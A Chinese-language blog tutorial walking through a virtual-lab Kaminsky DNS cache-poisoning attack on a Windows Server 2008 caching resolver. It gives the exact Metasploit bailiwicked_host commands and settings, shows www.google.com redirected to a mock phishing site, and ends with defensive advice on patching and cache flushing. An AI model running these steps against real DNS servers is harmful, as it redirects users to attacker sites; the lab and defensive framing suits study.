在詳細介紹Kali Linux系統之前我們先通過一個***案例瞭解Kali Linux。
本文使用Kali Linux對正在做“本地緩存DNS”的微軟windows server2008進行Kaminsky緩存投毒,最終將www.google.com引導到一個預先定義好的web界面上。
(1)介紹***手段是爲了我們在工作中能更好的做好安全防護工作,只有瞭解***才能做好防守。所以,我首先強烈譴責那些使用***工具,進行惡意***的行爲。
(2)在做本文實驗之前,建議先閱讀之前發佈的DNS安全-緩存投毒相關博客內容,瞭解Kaminsky***原理,http://zdzhu.blog.51cto.com/6180070/1575498
【本文***實驗環境介紹】
(1)以下所有機器均安裝在自己PC的VMware環境下,機器的網卡配置爲NAT類型,這樣保證機器能上公網。
(2)Windows server2008
開啓DNS功能
IP地址192.168.8.136
角色是“本地緩存DNS”
(3)KaliLinux
IP地址192.168.8.149
角色是“***發起者”
(4)Windows 7
IP地址192.168.8.137
DNS地址設置爲192.168.8.136
角色是“客戶端”
(5)Centos 6.4 x86_64
IP地址192.168.8.153
安裝並啓動Bind軟件,同時配置google.com的權威區
配置www.google.com對應的A記錄是192.168.8.153
安裝並啓動Apache,使得客戶端在瀏覽器裏輸入192.168.8.153後能看到Apache的界面。
角色是“模擬***者的釣魚網站”
【第一部分 環境確認】
(1)在Windows 7客戶端的瀏覽器裏隨便輸入一個網站比如www.51cto.com,確認可以進入網站頁面。測試通過代表Windows server2008的DNS遞歸功能正常。
(2)在Windows server2008上安裝wireshark軟件,然後啓動網卡抓包。繼續在Windows 7客戶端的瀏覽器裏隨便輸入幾個不同網站的域名,查看wireshark軟件抓包結果中server2008對外發起DNS迭代請求時使用的UDP源端口是什麼?server2008默認使用相同源端口出去查詢。
本文中測試時源端口是54866,如下。
【第二部分 使用Kali Linux開始***】
(1)在KaliLinux文本模式下執行命令msfconsole,等待一段時間後進入msf>的命令提示符下。
(2)執行命令use auxiliary/spoof/dns/bailiwicked_host
(3)執行命令show options如下
(4)執行如下命令
set RHOST 192.168.8.136 (對應被***的server2008本地DNS IP地址)
set HOSTNAME ns9.google.com
set NEWADDR 192.168.8.153 (對應***者部署好的站點)
set SRCPORT 54866 (對應server2008對外查詢時使用的端口號)
set XIDS 50
(5)執行完畢後執行show options再次確認配置
(6)執行run
(7)當屏幕出現Poisoning Successful時代表***成功結束。
(8)執行exit退出並使用dig @192.168.8.136 命令測試此時server2008DNS緩存中google.com的NS記錄情況,並測試www.google.com解析後的結果。
下圖可見,本地緩存DNS中google.com的NS被投毒到了192.168.8.153上。那麼所有向這臺DNS發起的goog.com相關域名都會發往192.168.8.153做迭代查詢,並將查詢結果反饋給客戶端。
(9)在Windows7客戶端上的IE瀏覽器地址欄中輸入www.google.com,會進入***者預先制定好的站點界面如下。
***實驗結論:
(1)Kaminsky緩存投毒一旦成功影響非常大。
(2)儘量使用隨機端口比較好的DNS軟件作爲本地緩存DNS,如果用windows server那麼一定要做系統升級。本實驗中的問題微軟已經給出升級補丁。
(3)本地緩存DNS負責人一旦發現緩存投毒,可立即執行“緩存清除”操作。然後通過DNS解析日誌或者抓包分析發起隨機域名請求的源IP是什麼,可嘗試進行反跟蹤,或者在上層網絡設備上做好相應防護工作。